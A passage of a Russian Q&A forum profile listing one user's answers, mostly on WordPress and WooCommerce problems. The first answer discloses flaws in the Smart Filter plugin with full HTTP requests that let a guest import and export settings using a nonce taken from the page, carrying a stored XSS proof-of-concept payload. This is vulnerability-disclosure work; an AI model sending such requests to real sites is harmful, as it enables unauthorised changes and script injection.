Задать вопрос
  • Как правильно подключать файлы внутри плагина WP есть уязвимость: Unauthenticated Local File Inclusion (LFI)?

    r3n0
    @r3n0
    Да, уязвимость есть, и не одна.

    Вот пример запроса на импорт (https://github.com/YMC-22/smart-filter/blob/main/i... - строка 354):

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.tld
    Content-Length: 7061
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0
    
    action=ymc_import_settings&nonce_code=c3h1a3o3s7&post_id=256&params={"ymc_terms"%3a["4","2","5","3","1","12","16","19","20","7","8","11","6","15","18","17","10","14","13","9"],"ymc_term_sort"%3a["4","2","5","3","1","12","16","19","20","7","8","11","6","15","18","17","10","14","13","9"],"ymc_terms_options"%3a[{"termid"%3a"4","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"2","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"5","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"3","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"1","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"12","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"16","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"19","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"20","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"7","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"8","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"11","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"6","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"15","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"18","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"17","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"10","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"14","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"13","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""},{"termid"%3a"9","bg"%3a"","color"%3a"","class"%3a"","status"%3a"","default"%3a"","name"%3a""}],"ymc_cpt_value"%3a"post","ymc_taxonomy"%3a["category","post_tag","post_format"],"ymc_exclude_posts"%3a"off","ymc_tax_relation"%3a"OR","ymc_filter_status"%3a"on","ymc_sort_status"%3a"off","ymc_filter_layout"%3a"filter-layout1","ymc_filter_extra_layout"%3a"filter-layout1","ymc_filter_text_color"%3a"","ymc_filter_bg_color"%3a"","ymc_filter_active_color"%3a"","ymc_multiple_filter"%3a"0","ymc_post_layout"%3a"post-layout1","ymc_post_text_color"%3a"","ymc_post_bg_color"%3a"","ymc_post_active_color"%3a"","ymc_empty_post_result"%3a"PoC%2520XSS<svg%20onload%3dalert(origin)></svg>","ymc_link_target"%3a"_blank","ymc_per_page"%3a"4","ymc_pagination_type"%3a"numeric","ymc_pagination_hide"%3a"off","ymc_sort_terms"%3a"asc","ymc_order_post_by"%3a"title","ymc_order_post_type"%3a"asc","ymc_post_status"%3a"publish","ymc_meta_key"%3a"","ymc_meta_value"%3a"","ymc_multiple_sort"%3a[{"orderby"%3a"title","order"%3a"asc"}],"ymc_special_post_class"%3a"","ymc_preloader_icon"%3a"preloader_1","ymc_filter_font"%3a"inherit","ymc_post_font"%3a"inherit","ymc_filter_search_status"%3a"on","ymc_search_text_button"%3a"Search","ymc_search_placeholder"%3a"PoC%2520XSS<svg%20onload%3dalert(origin)></svg>","ymc_autocomplete_state"%3a"0","ymc_exact_phrase"%3a"0","ymc_scroll_page"%3a"1","ymc_preloader_filters"%3a"none","ymc_preloader_filters_rate"%3a"0.5","ymc_preloader_filters_custom"%3a"","ymc_post_animation"%3a"","ymc_popup_status"%3a"off","ymc_popup_animation"%3a"normal","ymc_popup_animation_origin"%3a"center+center","ymc_popup_settings"%3a{"custom_location"%3a"center","custom_width"%3a"50","custom_width_unit"%3a"%25","custom_height"%3a"550","custom_height_unit"%3a"px","custom_bg_overlay"%3a"%2314151899"},"ymc_search_filtered_posts"%3a"0","ymc_advanced_query_status"%3a"off","ymc_query_type"%3a"query_custom","ymc_query_type_custom"%3a"","ymc_query_type_callback"%3a"","ymc_desktop_xxl"%3a"4","ymc_desktop_xl"%3a"4","ymc_desktop_lg"%3a"4","ymc_tablet_md"%3a"3","ymc_tablet_sm"%3a"2","ymc_mobile_xs"%3a"1","ymc_suppress_filters"%3a"0","ymc_post_elements"%3a{"button_text_all"%3a"All","author"%3a"show","date"%3a"show","tag"%3a"show","title"%3a"show","image"%3a"show","excerpt"%3a"show","button"%3a"show","button_text"%3a"Read+More","length_excerpt"%3a"30"},"ymc_pagination_elements"%3a{"prev_btn_text"%3a"Prev","next_btn_text"%3a"Next","load_btn_text"%3a"Load+More"}}


    Гость, имея валидный токен, может успешно выполнить запрос. Валидный токен берём через console.log(_smart_filter_object.nonce);. Очевидно, что к этой функциональности доступ должен быть только у администратора сайта.

    Такая же история с экспортом (https://github.com/YMC-22/smart-filter/blob/main/i... - строка331):

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: s-qprwta4vnmfzl.eu1.wpsandbox.org
    Content-Length: 60
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0
    
    action=ymc_export_settings&nonce_code=c3h1a3o3s7&post_id=256


    В запросе на импорт, кстати, уже есть полезная нагрузка для XSS-вектора, она стрельнёт при экспорте.
    Написано
  • Не работают ссылки на страницы сайта на WordPress в хромиум браузерах, в FireFox все отрабатывается корректно. Что сделать?

    r3n0
    @r3n0
    Алекс Он, вопрос понял, поправить протоколы везде с http:// на https:// (или на //) в БД можно с помощью плагина BSR. Перед использованием сделай дамп БД на всякий случай, и с плагином работай аккуратно, чтобы ничего не сломать. Дел на пару минут, и ошибка mixed content уйдёт.
    Написано
  • Делаю эмаилы картинки не отображаются?

    r3n0
    @r3n0
    rPman,
    а разве gmail отображает изображения по ссылкам из интернета?
    Да, но: а) если источник не в чёрных списках; б) он их кеширует и дальше толкает в письме со своего домена //xxx.googleusercontent.com/yyy/zzz.
    Написано
  • Отображается запись вместо главной страницы Wordpres. Как сделать, чтобы отображался сам сайт, а не пустая страница записи вордпрес?

    r3n0
    @r3n0
    lisslll, если речь о браузере "Яндекс", то предположу, что просто сохранилась в истории/быстром доступе ссылка вида /?p=N, и тут ничего страшного нет, потому что это стандарт для WordPress, если не перенастроить ЧПУ. Причём учти, что ссылки вида /?p=N будут работать даже с твоими пересохранёнными ЧПУ вида /[дата]/[слаг_страницы] и пр., не паникуй, если что.

    Как убрать этот переход на запись? И почему он вообще появился?
    Также предположу, что конкретно к работе сайта этот вопрос не имеет отношения. Очисти историю поиска браузера. Перенастрой ЧПУ в настройках WordPress ("Настройки" > "Постоянные ссылки" > задай желаемый вид для ссылок и сохрани изменения).
    Написано
  • Как сделать полное оформление заказа во всплывающем окне woocomerce?

    r3n0
    @r3n0
    Артем Колчин,
    пробовать аякс писать
    Именно так.

    вопрос больше как всю валидацию доставки оплаты удаление товара , изменение кол-ва заставить работать в попапе

    В приведённых в ответе примерах это всё получается из коробки. Там однозначно требуется доработка напильником до желаемого результата, но направление мысли даёт в целом верное.
    Написано
  • Отображается запись вместо главной страницы Wordpres. Как сделать, чтобы отображался сам сайт, а не пустая страница записи вордпрес?

    r3n0
    @r3n0
    Привет.

    Описание не очень понятное. Было бы проще, укажи ты ссылку на проблемный сайт.
    Написано
  • Как сделать полное оформление заказа во всплывающем окне woocomerce?

    r3n0
    @r3n0
    Привет.

    Но при попытке удалить например тот же товар он закрывает попап и скидывает всё

    Разумеется, ты ведь во всплывающем окне неизвестно как реализованном просто выводишь два шорткода, никакой динамики при такой реализации не предполагается.

    Как вариант, возьми плагин Easy Fancybox, выведи инлайн даже эти два шорткода, и ты почти что получишь желаемый результат. Допиливать всё равно придётся, но общая суть такого метода будет ясна, полагаю.

    <a href="#checkout_popup" class="fancybox-inline">Оформить заказ</a>
    <div style="display:none" class="fancybox-hidden">
    	<div id="checkout_popup">
    	[woocommerce_cart]
    	[woocommerce_checkout]
    	</div>
    </div>


    Через этот же плагин можно сделать вывод в iframe кастомной страницы заказа ("one-page checkout" / "direct checkout" - по этим запросам можно нагуглить способы сборки такой страницы, если нужно). Рецепт, так сказать, рабочий.

    Также есть платные и бесплатные плагины для решения этой задачи. Учитывая специфичность запроса и уровень нынешней рализации, взять готовое решение будет более выигрышной стратегией.

    не хочется брать замудренные плагины для этого

    Факт использования Вукоммерс уже говорит о том, что за "замудрёность" можно не переживать.
    Написано
  • Как называется плагин, который меняет страницу с рубриками на страницу записи?

    r3n0
    @r3n0
    Zelenuh, создай шаблон для этой цели через дочернюю тему. Но тут два нюанса: я всё же мог не до конца понять что тебе нужно; возможно, стоит переосмыслить структуру сайта и подход к её реализации. Путаница с сущностями в WordPress есть явление частое.
    Написано
  • Как исправить проблему со входом в админ панель wordpress?

    r3n0
    @r3n0
    Александра, рад слышать, что проблема решилась :)
    Написано
  • Как понять кто заблокировал сайт?

    r3n0
    @r3n0
    Ищю в поисковиках,
    По поводу вопроса - чья-то инициатива или были основания - тут не скажу, тк не работаю в подобных структурах и знакомых там нет.
    Мало ли, может, было хоть какое-то письмо или ссылка на официальный источник, пока занимались наведением справок. Хочется понять на что опираться в данном вопросе.

    В защиту РКН могу сказать, что на части сайтов из "списка" действительно были вирусы и бэкдоры.
    С чего вдруг РКН зашевелился по поводу малвари вообще? Не совсем понятно какую проблему они решают таким образом. Если ноги растут от утечек за последние полтора года, то это хотя бы что-то объяснило, но пока это лишь теоретическая догадка.

    Выявить подобное, можно обратившись по определенным URL меткам (так действуют веб сканеры уязвимостей), для этого полный доступ в ФС не нужен.
    То есть некая контора регулярно сканит веб на предмет торчащих наружу бэкдоров? Звучит бредово, если честно. Опять же, если это не условный vasya.tld/shell.php, а что-то вроде vasya.tld/images/cache/asdi2i3fm93cmdsgmskdofg.php, то шансов насканить извне такой клад будет ровно ноль.

    Замечу, что сейчас в основном, бэкдоры и прочее ищеться по сигнатурам, но тк "дядя хакер" не тупой, он меняет свои скрипты так, что они выглядят как довольно валидная часть сайта.
    Это всё понятно, но опять возникает вопрос, а почему внезапно гос-во этим всем заинтересовалось, да так, что отправляет пачками домены в блок? Это раз. Два — тут опять озвучен факт, что замаскированная малварь сканами извне не обнаружится.

    Да и хостер не сможет решить проблемы с безопасностью для всех
    Этого делать и не требуется. У хостера есть инструменты для выявления и изоляции скомпрометированных ресурсов, а наиболее ушлые ребята даже умудряются на этом дополнительно зарабатывать. Вопрос в том, почему в эту историю, которой уже более десятка лет, вмешивается какая-то гос. контора со своими полоумными блокировками.

    1. Сначала заблочили, потом оповестили
    Это вполне типичная ситуация, когда кого-то/что-то наделили большими правами с запутанными формулировками, не проверяя далее что с эим происходит, то начинается разговор с позиции силы. Вот это мы и наблюдаем. Вопрос в том, что к этому привело, какие были на то причины.

    2. Для приличия
    Диалог с позиции силы никаких приличий не подразумевает. С этим тоже всё понятно.

    1. Оповестить хостера о сайтах, чтобы они переслали оповещение пользователям
    Вменяемый хостер сам прекрасно видит (или имеет возможность увидеть) что происходит в его зоне контроля. Скомпрометированные сайты изолируются или ограничиваются в функциональности с уведомлениями владельца сайта. Опять же, при чём тут РКН или любая другая третья сторона? Пока не совсем понятно.

    С последним (внесением в реестр), видимо может быть правовая проблема, из-за чего и не внесли, но опять же, тут нужно знать всю историю..
    Спасибо за ответ, постараюсь хотя бы погуглить что-то аналогичное.
  • Contact form 7 как обязательные поля обводить красным?

    r3n0
    @r3n0
    Refguser, не совсем. Стандартная настройка выводит под обязательным полем ввода текст красного цвета, а само оно при этом никак не видоизменяется.
  • Как понять кто заблокировал сайт?

    r3n0
    @r3n0
    Ищю в поисковиках, спасибо за ответ. А есть информация, это вольная инициатива какой-то там конторы или были веские основания для подобных действий? Поясню вопрос. «Поиск уязвимостей» — формулировка максимально непрозрачная, и если уж какая-то компания берёт на себя обязанность решать судьбы десятых сайтов, то я хочу знать критерии по котрым они отрабатывают и с какой целью всё это вообще происходит. Пока даже непонятно что гуглить.

    Техническая сторона вопроса тоже вызывает много вопросов. Сканировать сайт на предмет вредоносного кода без доступа к ФС — это так, детская забава.
  • Как понять кто заблокировал сайт?

    r3n0
    @r3n0
    РКН на ряде сайтов нашли вирусы и уязвимости
    Звучит потрясающе. Откуда информация?
  • Можно ли как то понять это проблема Woocommerce (WordPress) админки или моего хостинга nginx?

    r3n0
    @r3n0
    bassoon48, на здоровье! Рад, если помог :)

    Было бы ещё хорошо, если бы интернет магазин на NGINX Ubuntu server x64 - крутился на нормальной машине а не на raspberry pi4b 4gb)))

    Интересно что будет дальше с этим проектом относительно стабильности работы. WordPress + WooCommerce - это та ещё комбинация.
  • Как отправить форму на почту с помощью PHP?

    r3n0
    @r3n0
    Lion97icvc, объясняю:

    У меня не тестовый аккаунт. Если вас смутило

    Меня ничего не смутило. Я вам перечислил возможные узкие места вашей проблемы. Какой вы аккаунт используете не написано, поэтому этот нюанс с ограничением хождения почты на тестовых аккаунтах был обозначен первым.

    Про второй пункт вообще ничего не поняла. При чем тут функция и доменная почта? На сколько я понимаю, что если на сервере находиться сайт, то, чтобы отправить на свою почту необходимо иметь доменную почту и указывать ее в крайнем аргументе.

    Вы неправильно понимаете всю техническую часть этой истории. Ваш обработчик (send.php) использует для отправки сообщений функцию mail(), доменная почта — это немного о другом.

    Что не так с кодом обработчика конкретно?

    Вы его откуда-то скопировали? В любом случае, максимально упростите обработчик хотя бы для теста отправки сообщений.

    На счет кириллических доменов - здесь это не играет роли, так как пробовала и с латинским доменом. Все равно не отправляет.

    Технически важны все нюансы.
  • Без CMS не обойтись в веб разработке?

    r3n0
    @r3n0
    Анастасия, Смотря где, смотря как. В России, к примеру, Битрикс и WordPress востребованы, так что без куска хлеба не останетесь, но гарантий на будущее нет. Поэтому надо быть в кассу со своими знанями и опытом, развиваться вместе с технологиями и потребностями рынка. Повторюсь, но вы вообще можете не пересекаться с CMS просто в принципе, и быть высококлассным специалистом. Я так понимаю, что у вас пока мало опыта и понимания чего конкретно хотите, и в какую сторону двигаться дальше.

    Если сидеть на одной или двух CMS, то это не тупик, а узкий профиль. Тупик это, скорее, для тех, кто не изучает системы вглубь. Более того, вы наверняка слышали прогнозы экспертов, что и PHP мёртв, и Битрикс тоже мёртв, и WordPress туда же. Что на деле? PHP развивается, Битрикс живее всех живых, WordPress отметил двадцатилетие и покоряет новые вершины. Так что не верьте выскочкам с их экспертизой обо всём, думайте своей головой прежде всего.
  • Как остановить отаку ботов на сайт?

    r3n0
    @r3n0
    Wan-Derer, санкции от поиковика, т.е., проще говоря, вас таким образом через абьюз выбивают из топа ПС.
  • Почему в Wordpress не радактируются категории товаров?

    r3n0
    @r3n0
    Андрей, а что происходит после клика по ссылке "Изменить"?